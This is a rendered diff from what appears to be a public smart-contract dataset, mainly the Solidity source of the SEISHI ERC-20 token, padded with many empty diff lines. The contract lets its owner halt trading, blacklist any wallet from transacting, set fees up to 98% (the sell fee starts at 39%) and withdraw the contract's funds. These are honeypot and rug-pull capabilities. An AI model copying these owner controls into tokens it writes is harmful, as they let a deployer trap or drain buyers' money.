return rSupply.div(tSupply);
|
372 |
+
}
|
373 |
+
|
374 |
+
function _getCurrentSupply() private view returns(uint256, uint256) {
|
375 |
+
uint256 rSupply = _rTotal;
|
376 |
+
uint256 tSupply = _tTotal;
|
377 |
+
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
|
378 |
+
return (rSupply, tSupply);
|
379 |
+
}
|
380 |
+
}
|
organized_contracts/00/000b28a5f2395b7cbd3d2f673a45f5b9a7e08b2de3bcafb1d0a877ae0ecaed92/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"XenBlock","CompilerVersion":"v0.8.16+commit.07a7930e","Runs":200,"OptimizationUsed":true,"BytecodeHash":"000b28a5f2395b7cbd3d2f673a45f5b9a7e08b2de3bcafb1d0a877ae0ecaed92"}
|
organized_contracts/00/000b75b1477c4c3bb454b9c8e778ed6aba899e2bda7bef7040fd785a574b365d/main.sol
ADDED
@@ -0,0 +1,687 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
/*
|
4 |
+
SEISHI <3
|
5 |
+
Find us at : https://t.me/Seishi_erc
|
6 |
+
Follow us at : www.twitter.com/Seishi_erc
|
7 |
+
|
8 |
+
|
9 |
+
*/
|
10 |
+
// SPDX-License-Identifier: MIT
|
11 |
+
pragma solidity ^0.8.0;
|
12 |
+
abstract contract Context {
|
13 |
+
function _msgSender() internal view virtual returns (address) {
|
14 |
+
return msg.sender;
|
15 |
+
}
|
16 |
+
function _msgData() internal view virtual returns (bytes calldata) {
|
17 |
+
return msg.data;
|
18 |
+
}
|
19 |
+
}
|
20 |
+
interface IERC20 {
|
21 |
+
function totalSupply() external view returns (uint256);
|
22 |
+
function balanceOf(address account) external view returns (uint256);
|
23 |
+
function transfer(address recipient, uint256 amount) external returns (bool);
|
24 |
+
function allowance(address owner, address spender) external view returns (uint256);
|
25 |
+
function approve(address spender, uint256 amount) external returns (bool);
|
26 |
+
function transferFrom(address sender,address recipient,uint256 amount) external returns (bool);
|
27 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
28 |
+
event Approval(address indexed owner, address indexed spender, uint256 value);
|
29 |
+
}
|
30 |
+
library Address {
|
31 |
+
function isContract(address account) internal view returns (bool) {
|
32 |
+
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
|
33 |
+
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
|
34 |
+
// for accounts without code, i.e. `keccak256('')`
|
35 |
+
bytes32 codehash;
|
36 |
+
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
|
37 |
+
// solhint-disable-next-line no-inline-assembly
|
38 |
+
assembly { codehash := extcodehash(account) }
|
39 |
+
return (codehash != accountHash && codehash != 0x0);
|
40 |
+
}
|
41 |
+
function sendValue(address payable recipient, uint256 amount) internal {
|
42 |
+
require(address(this).balance >= amount, "Address: insufficient balance");
|
43 |
+
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
|
44 |
+
(bool success, ) = recipient.call{ value: amount }("");
|
45 |
+
require(success, "Address: unable to send value, recipient may have reverted");
|
46 |
+
}
|
47 |
+
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
|
48 |
+
return functionCall(target, data, "Address: low-level call failed");
|
49 |
+
}
|
50 |
+
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
|
51 |
+
return _functionCallWithValue(target, data, 0, errorMessage);
|
52 |
+
}
|
53 |
+
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
|
54 |
+
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
|
55 |
+
}
|
56 |
+
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
|
57 |
+
require(address(this).balance >= value, "Address: insufficient balance for call");
|
58 |
+
return _functionCallWithValue(target, data, value, errorMessage);
|
59 |
+
}
|
60 |
+
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
|
61 |
+
require(isContract(target), "Address: call to non-contract");
|
62 |
+
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
|
63 |
+
if (success) {
|
64 |
+
return returndata;
|
65 |
+
} else {
|
66 |
+
if (returndata.length > 0) {
|
67 |
+
assembly {
|
68 |
+
let returndata_size := mload(returndata)
|
69 |
+
revert(add(32, returndata), returndata_size)
|
70 |
+
}
|
71 |
+
} else {
|
72 |
+
revert(errorMessage);
|
73 |
+
}
|
74 |
+
}
|
75 |
+
}
|
76 |
+
}
|
77 |
+
abstract contract Ownable is Context {
|
78 |
+
address private _owner;
|
79 |
+
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
80 |
+
/**
|
81 |
+
* @dev Initializes the contract setting the deployer as the initial owner.
|
82 |
+
*/
|
83 |
+
constructor() {
|
84 |
+
_setOwner(_msgSender());
|
85 |
+
}
|
86 |
+
/**
|
87 |
+
* @dev Returns the address of the current owner.
|
88 |
+
*/
|
89 |
+
function owner() public view virtual returns (address) {
|
90 |
+
return _owner;
|
91 |
+
}
|
92 |
+
/**
|
93 |
+
* @dev Throws if called by any account other than the owner.
|
94 |
+
*/
|
95 |
+
modifier onlyOwner() {
|
96 |
+
require(owner() == _msgSender(), "Ownable: caller is not the owner");
|
97 |
+
_;
|
98 |
+
}
|
99 |
+
/**
|
100 |
+
* @dev Leaves the contract without owner. It will not be possible to call
|
101 |
+
* `onlyOwner` functions anymore. Can only be called by the current owner.
|
102 |
+
*
|
103 |
+
* NOTE: Renouncing ownership will leave the contract without an owner,
|
104 |
+
* thereby removing any functionality that is only available to the owner.
|
105 |
+
*/
|
106 |
+
function renounceOwnership() public virtual onlyOwner {
|
107 |
+
_setOwner(address(0));
|
108 |
+
}
|
109 |
+
/**
|
110 |
+
* @dev Transfers ownership of the contract to a new account (`newOwner`).
|
111 |
+
* Can only be called by the current owner.
|
112 |
+
*/
|
113 |
+
function transferOwnership(address newOwner) public virtual onlyOwner {
|
114 |
+
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
115 |
+
_setOwner(newOwner);
|
116 |
+
}
|
117 |
+
function _setOwner(address newOwner) private {
|
118 |
+
address oldOwner = _owner;
|
119 |
+
_owner = newOwner;
|
120 |
+
emit OwnershipTransferred(oldOwner, newOwner);
|
121 |
+
}
|
122 |
+
}
|
123 |
+
contract SEISHI is Context,IERC20, Ownable{
|
124 |
+
using Address for address;
|
125 |
+
string private _name = "SEISHI";
|
126 |
+
string private _symbol = "SEISHI\xF0\x9F\x92\x96";
|
127 |
+
uint8 private _decimals = 18;
|
128 |
+
uint256 totalFeeFortx = 0;
|
129 |
+
uint256 maxWalletTreshold = 2;
|
130 |
+
uint256 maxTxTreshold = 1;
|
131 |
+
uint256 private swapTreshold =1;
|
132 |
+
uint256 private currentThreshold = 10; //Once the token value goes up this number can be decreased (To reduce price impact on asset)
|
133 |
+
uint256 private _totalSupply = (10000000 * 10**4) * 10**_decimals; //
|
134 |
+
uint256 public requiredTokensToSwap = _totalSupply * swapTreshold /1000;
|
135 |
+
mapping (address => uint256) private _balances;
|
136 |
+
mapping (address => bool) private _excludedFromFees;
|
137 |
+
mapping (address => mapping (address => uint256)) private _allowances;
|
138 |
+
mapping (address => bool) public automatedMarketMakerPairs;
|
139 |
+
address _owner;
|
140 |
+
address payable public marketingAddress = payable(0x6Fc79C9bC19C034018Cd1814A339A87eD2136Fff);
|
141 |
+
uint256 maxWalletAmount = _totalSupply*maxWalletTreshold/200; // starting 2%
|
142 |
+
uint256 maxTxAmount = _totalSupply*maxTxTreshold/100;
|
143 |
+
mapping (address => bool) botWallets;
|
144 |
+
bool botTradeEnabled = false;
|
145 |
+
bool checkWalletSize = true;
|
146 |
+
mapping (address => bool) private _liquidityHolders;
|
147 |
+
mapping (address => bool) private presaleAddresses;
|
148 |
+
//SEISHI Taxes
|
149 |
+
uint256 private buyliqFee = 1; //0
|
150 |
+
uint256 private buyprevLiqFee = 0;
|
151 |
+
uint256 private buymktFee = 9;//0
|
152 |
+
uint256 private buyPrevmktFee = 0;
|
153 |
+
uint256 SEISHICOINDaycooldown = 0;
|
154 |
+
bool private tradeEnabled = false;
|
155 |
+
uint256 private sellliqFee = 1;
|
156 |
+
uint256 private sellprevLiqFee = 0;
|
157 |
+
uint256 private sellmktFee = 39;
|
158 |
+
uint256 private sellPrevmktFee = 0;
|
159 |
+
uint256 private maxFeeSet = 99;
|
160 |
+
bool public inSwapAndLiquify;
|
161 |
+
bool public swapAndLiquifyEnabled = true;
|
162 |
+
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
|
163 |
+
uint256 private mktTokens = 0;
|
164 |
+
uint256 private liqTokens = 0;
|
165 |
+
event SwapAndLiquify(uint256 tokensSwapped,
|
166 |
+
uint256 ethReceived,
|
167 |
+
uint256 tokensIntoLiquidity
|
168 |
+
);
|
169 |
+
event tokensSwappedDuringTokenomics(uint256 amount);
|
170 |
+
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
|
171 |
+
// 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
|
172 |
+
IUniswapV2Router02 _router;
|
173 |
+
address public uniswapV2Pair;
|
174 |
+
//Balances tracker
|
175 |
+
modifier lockTheSwap{
|
176 |
+
inSwapAndLiquify = true;
|
177 |
+
_;
|
178 |
+
inSwapAndLiquify = false;
|
179 |
+
}
|
180 |
+
constructor(){
|
181 |
+
_balances[_msgSender()] = _totalSupply;
|
182 |
+
//0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D mainnet and all networks
|
183 |
+
IUniswapV2Router02 _uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
|
184 |
+
uniswapV2Pair = IUniswapV2Factory(_uniRouter.factory())
|
185 |
+
.createPair(address(this), _uniRouter.WETH());
|
186 |
+
_excludedFromFees[owner()] = true;
|
187 |
+
_excludedFromFees[address(this)] = true;// exclude owner and contract instance from fees
|
188 |
+
_router = _uniRouter;
|
189 |
+
_liquidityHolders[address(_router)] = true;
|
190 |
+
_liquidityHolders[owner()] = true;
|
191 |
+
_liquidityHolders[address(this)] = true;
|
192 |
+
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
|
193 |
+
emit Transfer(address(0),_msgSender(),_totalSupply);
|
194 |
+
}
|
195 |
+
receive() external payable{}
|
196 |
+
//general token data and tracking of balances to be swapped.
|
197 |
+
function getOwner()external view returns(address){
|
198 |
+
return owner();
|
199 |
+
}
|
200 |
+
function currentmktTokens() external view returns (uint256){
|
201 |
+
return mktTokens;
|
202 |
+
}
|
203 |
+
function currentLiqTokens() external view returns (uint256){
|
204 |
+
return liqTokens;
|
205 |
+
}
|
206 |
+
function totalSupply() external view override returns (uint256){
|
207 |
+
return _totalSupply;
|
208 |
+
}
|
209 |
+
function balanceOf(address account) public view override returns (uint256){
|
210 |
+
return _balances[account];
|
211 |
+
}
|
212 |
+
function transfer(address recipient, uint256 amount) external override returns (bool){
|
213 |
+
_transfer(_msgSender(),recipient,amount);
|
214 |
+
return true;
|
215 |
+
}
|
216 |
+
function allowance(address owner, address spender) external view override returns (uint256){
|
217 |
+
return _allowances[owner][spender];
|
218 |
+
}
|
219 |
+
function approve(address spender, uint256 amount) external override returns (bool){
|
220 |
+
_approve(_msgSender(),spender,amount);
|
221 |
+
return true;
|
222 |
+
}
|
223 |
+
function decimals()external view returns(uint256){
|
224 |
+
return _decimals;
|
225 |
+
}
|
226 |
+
function name() external view returns (string memory) {
|
227 |
+
return _name;
|
228 |
+
}
|
229 |
+
function symbol() external view returns (string memory){
|
230 |
+
return _symbol;
|
231 |
+
}
|
232 |
+
function updateMaxTxTreshold(uint256 newVal) public onlyOwner{
|
233 |
+
require (newVal > 1, "newVal can not be lower than 1");
|
234 |
+
maxTxTreshold = newVal;
|
235 |
+
maxTxAmount = _totalSupply*maxTxTreshold/100;// 1%
|
236 |
+
}
|
237 |
+
function updateMaxWalletTreshold(uint256 newVal) public onlyOwner{
|
238 |
+
require (newVal > 1, "newVal can not be lower than 1");
|
239 |
+
maxWalletTreshold = newVal;
|
240 |
+
maxWalletAmount = _totalSupply*maxWalletTreshold/100;
|
241 |
+
}
|
242 |
+
function transferFrom(
|
243 |
+
address sender,
|
244 |
+
address recipient,
|
245 |
+
uint256 amount
|
246 |
+
) public override returns (bool){
|
247 |
+
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
|
248 |
+
_transfer(sender, recipient, amount);
|
249 |
+
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
|
250 |
+
return true;
|
251 |
+
}
|
252 |
+
//Tokenomics related functions
|
253 |
+
function COINDay() public onlyOwner{
|
254 |
+
require(block.timestamp > SEISHICOINDaycooldown, "You cant call SEISHICOINCoinDay more than once a day");
|
255 |
+
buyPrevmktFee = buymktFee;
|
256 |
+
buyprevLiqFee = buyliqFee;
|
257 |
+
buyliqFee = 0;
|
258 |
+
buymktFee = 0;
|
259 |
+
}
|
260 |
+
function SEISHICOINCoinDayOver() public onlyOwner{
|
261 |
+
buyliqFee = buyprevLiqFee;
|
262 |
+
buymktFee = buyPrevmktFee;
|
263 |
+
SEISHICOINDaycooldown = block.timestamp + 86400;
|
264 |
+
}
|
265 |
+
function addBotWallet (address payable detectedBot, bool isBot) public onlyOwner{
|
266 |
+
botWallets[detectedBot] = isBot;
|
267 |
+
}
|
268 |
+
function currentbuyliqFee() public view returns (uint256){
|
269 |
+
return buyliqFee;
|
270 |
+
}
|
271 |
+
function currentbuymktfee() public view returns (uint256){
|
272 |
+
return buymktFee;
|
273 |
+
}
|
274 |
+
function currentsellLiqFee() public view returns (uint256){
|
275 |
+
return sellliqFee;
|
276 |
+
}
|
277 |
+
function currentsellmktfee() public view returns (uint256){
|
278 |
+
return sellmktFee;
|
279 |
+
}
|
280 |
+
function currentThresholdInt()public view returns (uint256){
|
281 |
+
return currentThreshold;
|
282 |
+
}
|
283 |
+
function isExcluded(address toCheck)public view returns (bool){
|
284 |
+
return _excludedFromFees[toCheck];
|
285 |
+
}
|
286 |
+
function _transfer(address from, address to, uint256 amount) internal{
|
287 |
+
require(from != address(0), "ERC20: transfer from the zero address");
|
288 |
+
require(to != address(0), "ERC20: transfer to the zero address");
|
289 |
+
require(amount > 0,"ERC20: transfered amount must be greater than zero");
|
290 |
+
uint256 senderBalance = _balances[from];
|
291 |
+
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
|
292 |
+
if(tradeEnabled == false){
|
293 |
+
require(_liquidityHolders[to] || _liquidityHolders[from],"Cant trade, trade is disabled");
|
294 |
+
}
|
295 |
+
if(_liquidityHolders[to]==false && _liquidityHolders[from]==false){
|
296 |
+
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
|
297 |
+
if(from == uniswapV2Pair){
|
298 |
+
require(balanceOf(to)+amount <= maxWalletAmount);
|
299 |
+
}
|
300 |
+
}
|
301 |
+
uint256 inContractBalance = balanceOf(address(this));
|
302 |
+
if(inContractBalance >=requiredTokensToSwap &&
|
303 |
+
!inSwapAndLiquify &&
|
304 |
+
from != uniswapV2Pair &&
|
305 |
+
swapAndLiquifyEnabled){
|
306 |
+
if(inContractBalance >= requiredTokensToSwap ){
|
307 |
+
inContractBalance = requiredTokensToSwap;
|
308 |
+
swapForTokenomics(inContractBalance);
|
309 |
+
}
|
310 |
+
}
|
311 |
+
bool takeFees = true;
|
312 |
+
|
313 |
+
if(_excludedFromFees[from] || _excludedFromFees[to]) {
|
314 |
+
totalFeeFortx = 0;
|
315 |
+
takeFees = false;
|
316 |
+
|
317 |
+
}
|
318 |
+
uint256 mktAmount = 0;
|
319 |
+
uint256 liqAmount = 0; // Amount to be added to liquidity.
|
320 |
+
if(takeFees){
|
321 |
+
|
322 |
+
|
323 |
+
//bot fees
|
324 |
+
if(botWallets[from] == true||botWallets[to]==true){
|
325 |
+
revert("No bots can trade");
|
326 |
+
}
|
327 |
+
//Selling fees
|
328 |
+
if (automatedMarketMakerPairs[to] && to != address(_router) ){
|
329 |
+
totalFeeFortx = 0;
|
330 |
+
mktAmount = amount * sellmktFee/100;
|
331 |
+
liqAmount = amount * sellliqFee/100;
|
332 |
+
totalFeeFortx = mktAmount + liqAmount;
|
333 |
+
}
|
334 |
+
//Buy Fees
|
335 |
+
else if(automatedMarketMakerPairs[from] && from != address(_router)) {
|
336 |
+
|
337 |
+
totalFeeFortx = 0;
|
338 |
+
mktAmount = amount * buymktFee/100;
|
339 |
+
liqAmount = amount * buyliqFee/100;
|
340 |
+
totalFeeFortx = mktAmount + liqAmount ;
|
341 |
+
}
|
342 |
+
|
343 |
+
}
|
344 |
+
_balances[from] = senderBalance - amount;
|
345 |
+
_balances[to] += amount - mktAmount - liqAmount;
|
346 |
+
if(liqAmount != 0) {
|
347 |
+
_balances[address(this)] += totalFeeFortx;
|
348 |
+
//tLiqTotal += liqAmount;
|
349 |
+
liqTokens += liqAmount;
|
350 |
+
mktTokens += mktAmount;
|
351 |
+
emit Transfer(from, address(this), totalFeeFortx);
|
352 |
+
}
|
353 |
+
emit Transfer(from, to,amount-totalFeeFortx);
|
354 |
+
}
|
355 |
+
function swapForTokenomics(uint256 balanceToswap) private lockTheSwap{
|
356 |
+
swapAndLiquify(liqTokens);
|
357 |
+
swapTokensForETHmkt(mktTokens);
|
358 |
+
emit tokensSwappedDuringTokenomics(balanceToswap);
|
359 |
+
mktTokens = 0;
|
360 |
+
liqTokens = 0;
|
361 |
+
}
|
362 |
+
function addLimitExempt(address newAddress)external onlyOwner{
|
363 |
+
_liquidityHolders[newAddress] = true;
|
364 |
+
}
|
365 |
+
function swapTokensForETHmkt(uint256 amount)private {
|
366 |
+
address[] memory path = new address[](2);
|
367 |
+
path[0] = address(this);
|
368 |
+
path[1] = _router.WETH();
|
369 |
+
_approve(address(this), address(_router), amount);
|
370 |
+
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
371 |
+
amount,
|
372 |
+
0, // Accept any amount of ETH.
|
373 |
+
path,
|
374 |
+
marketingAddress,
|
375 |
+
block.timestamp
|
376 |
+
);
|
377 |
+
}
|
378 |
+
function unstuckTokens (IERC20 tokenToClear, address payable destination, uint256 amount) public onlyOwner{
|
379 |
+
//uint256 contractBalance = tokenToClear.balanceOf(address(this));
|
380 |
+
tokenToClear.transfer(destination, amount);
|
381 |
+
}
|
382 |
+
function unstuckETH(address payable destination) public onlyOwner{
|
383 |
+
uint256 ethBalance = address(this).balance;
|
384 |
+
payable(destination).transfer(ethBalance);
|
385 |
+
}
|
386 |
+
function tradeStatus(bool status) public onlyOwner{
|
387 |
+
tradeEnabled = status;
|
388 |
+
}
|
389 |
+
function swapAndLiquify(uint256 liqTokensPassed) private {
|
390 |
+
uint256 half = liqTokensPassed / 2;
|
391 |
+
uint256 otherHalf = liqTokensPassed - half;
|
392 |
+
uint256 initialBalance = address(this).balance;
|
393 |
+
swapTokensForETH(half);
|
394 |
+
uint256 newBalance = address(this).balance - (initialBalance);
|
395 |
+
addLiquidity(otherHalf, newBalance);
|
396 |
+
emit SwapAndLiquify(half,newBalance,otherHalf);
|
397 |
+
}
|
398 |
+
function swapTokensForETH(uint256 tokenAmount) private{
|
399 |
+
address[] memory path = new address[](2);
|
400 |
+
path[0] = address(this);
|
401 |
+
path[1] = _router.WETH();
|
402 |
+
_approve(address(this), address(_router), tokenAmount);
|
403 |
+
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
404 |
+
tokenAmount,
|
405 |
+
0, // Accept any amount of ETH.
|
406 |
+
path,
|
407 |
+
address(this),
|
408 |
+
block.timestamp
|
409 |
+
);
|
410 |
+
}
|
411 |
+
function addLiquidity(uint256 tokenAmount,uint256 ethAmount) private{
|
412 |
+
_approve(address(this), address(_router), tokenAmount);
|
413 |
+
_router.addLiquidityETH{value:ethAmount}(
|
414 |
+
address(this),
|
415 |
+
tokenAmount,
|
416 |
+
0,
|
417 |
+
0,
|
418 |
+
deadAddress,// tr
|
419 |
+
block.timestamp
|
420 |
+
);
|
421 |
+
}
|
422 |
+
function _approve(address owner,address spender, uint256 amount) internal{
|
423 |
+
require(owner != address(0), "ERC20: approve from the zero address");
|
424 |
+
require(spender != address(0), "ERC20: approve to the zero address");
|
425 |
+
_allowances[owner][spender] = amount;
|
426 |
+
emit Approval(owner, spender, amount);
|
427 |
+
}
|
428 |
+
//Fees related functions
|
429 |
+
function addToExcluded(address toExclude) public onlyOwner{
|
430 |
+
_excludedFromFees[toExclude] = true;
|
431 |
+
}
|
432 |
+
function removeFromExcluded(address toRemove) public onlyOwner{
|
433 |
+
_excludedFromFees[toRemove] = false;
|
434 |
+
}
|
435 |
+
function excludePresaleAddresses(address router, address presale) external onlyOwner {
|
436 |
+
_liquidityHolders[address(router)] = true;
|
437 |
+
_liquidityHolders[presale] = true;
|
438 |
+
presaleAddresses[address(router)] = true;
|
439 |
+
presaleAddresses[presale] = true;
|
440 |
+
}
|
441 |
+
function endPresaleStatus() public onlyOwner{
|
442 |
+
buymktFee = 4;
|
443 |
+
buyliqFee = 2;
|
444 |
+
sellmktFee = 4;
|
445 |
+
sellliqFee = 2;
|
446 |
+
setSwapAndLiquify(true);
|
447 |
+
}
|
448 |
+
function updateThreshold(uint newThreshold) public onlyOwner{
|
449 |
+
currentThreshold = newThreshold;
|
450 |
+
}
|
451 |
+
function setSwapAndLiquify(bool _enabled) public onlyOwner{
|
452 |
+
swapAndLiquifyEnabled = _enabled;
|
453 |
+
}
|
454 |
+
//Marketing related
|
455 |
+
function setMktAddress(address newAddress) external onlyOwner{
|
456 |
+
marketingAddress = payable(newAddress);
|
457 |
+
}
|
458 |
+
function transferAssetsETH(address payable to, uint256 amount) internal{
|
459 |
+
to.transfer(amount);
|
460 |
+
}
|
461 |
+
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
|
462 |
+
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
|
463 |
+
_setAutomatedMarketMakerPair(pair, value);
|
464 |
+
}
|
465 |
+
function _setAutomatedMarketMakerPair(address pair, bool value) private {
|
466 |
+
automatedMarketMakerPairs[pair] = value;
|
467 |
+
emit SetAutomatedMarketMakerPair(pair, value);
|
468 |
+
}
|
469 |
+
function updatecurrentbuyliqFee(uint256 newAmount) public onlyOwner{
|
470 |
+
require (newAmount < maxFeeSet, "newAmount exceeds maxFeeSet ");
|
471 |
+
buyliqFee = newAmount;
|
472 |
+
}
|
473 |
+
function updatecurrentbuymktfee(uint256 newAmount) public onlyOwner{
|
474 |
+
require (newAmount < maxFeeSet, "newAmount exceeds maxFeeSet ");
|
475 |
+
buymktFee= newAmount;
|
476 |
+
}
|
477 |
+
function updatecurrentsellLiqFee(uint256 newAmount) public onlyOwner{
|
478 |
+
require (newAmount < maxFeeSet, "newAmount exceeds maxFeeSet ");
|
479 |
+
sellliqFee= newAmount;
|
480 |
+
}
|
481 |
+
function updatecurrentsellmktfee(uint256 newAmount)public onlyOwner{
|
482 |
+
require (newAmount < maxFeeSet, "newAmount exceeds maxFeeSet ");
|
483 |
+
sellmktFee= newAmount;
|
484 |
+
}
|
485 |
+
function currentMaxWallet() public view returns(uint256){
|
486 |
+
return maxWalletAmount;
|
487 |
+
}
|
488 |
+
function currentMaxTx() public view returns(uint256){
|
489 |
+
return maxTxAmount;
|
490 |
+
}
|
491 |
+
function updateSwapTreshold(uint256 newVal) public onlyOwner{
|
492 |
+
swapTreshold = newVal;
|
493 |
+
requiredTokensToSwap = _totalSupply*swapTreshold/1000;
|
494 |
+
}
|
495 |
+
function currentTradeStatus() public view returns (bool){
|
496 |
+
return tradeEnabled;
|
497 |
+
}
|
498 |
+
function currentSwapTreshold() public view returns(uint256){
|
499 |
+
return swapTreshold;
|
500 |
+
}
|
501 |
+
function currentTokensToSwap() public view returns(uint256){
|
502 |
+
return requiredTokensToSwap;
|
503 |
+
}
|
504 |
+
}
|
505 |
+
interface IUniswapV2Factory {
|
506 |
+
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
|
507 |
+
function feeTo() external view returns (address);
